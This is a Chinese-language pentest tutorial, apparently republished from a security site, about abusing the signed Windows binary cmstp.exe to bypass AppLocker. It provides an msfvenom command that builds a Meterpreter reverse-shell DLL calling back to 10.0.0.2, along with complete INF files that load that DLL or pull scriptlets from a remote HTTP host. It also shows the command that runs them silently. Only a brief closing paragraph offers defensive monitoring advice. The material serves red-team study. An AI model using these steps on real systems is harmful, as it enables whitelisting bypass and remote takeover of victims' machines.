利用CMSTP繞過AppLocker並執行程式碼
CMSTP是與Microsoft連線管理器配置檔案安裝程式關聯的二進位制檔案。它接受INF檔案,這些檔案可以通過惡意命令武器化,以指令碼(SCT)和DLL的形式執行任意程式碼。它是位於以下兩個Windows目錄中的受信任的Microsoft二進位制檔案。
· C:WindowsSystem32cmstp.exe
· C:WindowsSysWOW64cmstp.exe
AppLocker預設規則允許在這些資料夾中執行二進位制檔案,因此它可以用作繞過方法。最初Oddvar Moe發現可以使用這個CMSTP檔案繞過AppLocker和UAC,並在他的部落格上發表他的研究成果!
DLL
Metasploit Framework可用於通過msfvenom生成惡意DLL檔案。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f dll>/root/Desktop/pentestlab.dll
Metasploit – DLL生成
INF檔案的RegisterOCXSection需要包含惡意DLL檔案的本地路徑或遠端執行的WebDAV位置。
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:Users est.PENTESTLABpentestlab.dll
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"
CMSTP – 本地DLL執行
Metasploit multi / handler模組需要配置為接收請求。
CMSTP – Metasploit多處理程式
當惡意INF檔案與cmstp一起提供時,程式碼將在後臺執行。
cmstp.exe /s cmstp.inf
CMSTP – INF在本地執行
Meterpreter會話將從DLL執行中開啟。
CMSTP – 通過DLL執行的Meterpreter
SCT
除了DLL檔案外,cmstp還能夠執行SCT檔案,這些檔案在紅隊執行期間擴充套件了此二進位制檔案的可用性。Nick Tyrer最初通過推特展示了這種能力。
Nick Tyrer還編寫了一個名為powersct.sct的scriptlet ,可以將其用作執行PowerShell命令的備選解決方案,以防本機PowerShell被阻止。該UnRegisterOCXSection需要包含小指令碼的URL。最終的INF檔案需要包含以下內容:
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"
當INF檔案將執行一個新的視窗將開啟,這將允許使用者執行PowerShell命令。
cmstp.exe /s cmstp.inf
CMSTP – PowerShell
程式碼執行也可以通過使用scriptlet來呼叫惡意可執行檔案。INF檔案需要包含scriptlet的遠端位置。
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%scrobj.dll,NI,http://10.0.0.2/tmp/pentestlab.sct
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"
CMSTP – SCT執行
在執行INF檔案時,將會開啟一個新的命令提示符視窗,這將表示程式碼已成功執行。
CMSTP – 使用Scriptlet執行INF
Meterpreter獲取到shell。
CMSTP – Meterpreter通過SCT執行
結論
CMSTP需要INF檔案並在執行時生成一個CMP檔案,它是連線管理器設定檔案。這兩個檔案實際上都是文字檔案,不太可能觸發任何警報。因此,如果攻擊者已經開始使用此技術,cmstp.exe二進位制檔案無法被AppLocker規則阻止,則需要對這兩個檔案進行監視。
CMSTP – INF和CMP檔案
原文釋出時間為:2018-05-23
本文來自雲棲社群合作伙伴“嘶吼網”,瞭解相關資訊可以關注“嘶吼網”。
相關文章
- 繞過PowerShell執行策略方法
- PHP命令執行與繞過PHP
- powershell程式碼混淆繞過
- 利用並行提高sql執行效率(轉)並行SQL
- PHP多程式並行執行php指令碼PHP並行指令碼
- 淺談利用session繞過getshellSession
- Discuz 6、7 版本存在全域性變數防禦繞過導致程式碼執行漏洞變數
- 程式碼精簡執行過程
- 利用 PHP7 的 OPcache 執行 PHP 程式碼PHPopcache
- 利用環境變數LD_PRELOAD來繞過php disable_function執行系統命令變數PHPFunction
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- 使用 Eager Execution 編碼並執行圖表:以通過 RevNet 優化程式碼為例優化
- 使用HTTP頭進行403繞過 速率繞過 Rate Limit BypassHTTPMIT
- javascript動態建立並執行css程式碼例項JavaScriptCSS
- sqlmap常用繞過指令碼SQL指令碼
- Mac 0day被利用,可繞過Gatekeeper!Mac
- xss-程式碼角度理解與繞過filterFilter
- js繞過-前端加密繞過JS前端加密
- 程式碼執行
- JavaScript動態建立script標籤並執行js程式碼JavaScriptJS
- 並行執行並行
- Java 程式執行過程Java
- 執行Sybase儲存過程並返回ResultSet儲存過程
- 例項原始碼1:利用Java呼叫可執行命令並取得其返回值原始碼Java
- 靜態程式碼塊類載入時並不會執行
- Python並行程式設計(二):多執行緒鎖機制利用Lock與RLock實現執行緒同步Python並行行程程式設計執行緒
- Spark程式碼在叢集上執行過程理解Spark
- 利用 Python 特性在 Jinja2 模板中執行任意程式碼Python
- 分析及防護:Win10執行流保護繞過問題Win10
- 程式語言執行過程
- Bypass Windows AppLockerWindowsAPP
- 繞過應用程式白名單技巧
- 小程式繞過 sign 簽名
- 利用psyco讓Python程式執行更快Python
- PySpark和SparkSQL基礎:如何利用Python程式設計執行Spark(附程式碼)SparkSQLPython程式設計
- Java程式碼編譯和執行的整個過程Java編譯
- 二十七:XSS跨站之程式碼及httponly繞過HTTP
- 利用SEH異常處理機制繞過GS保護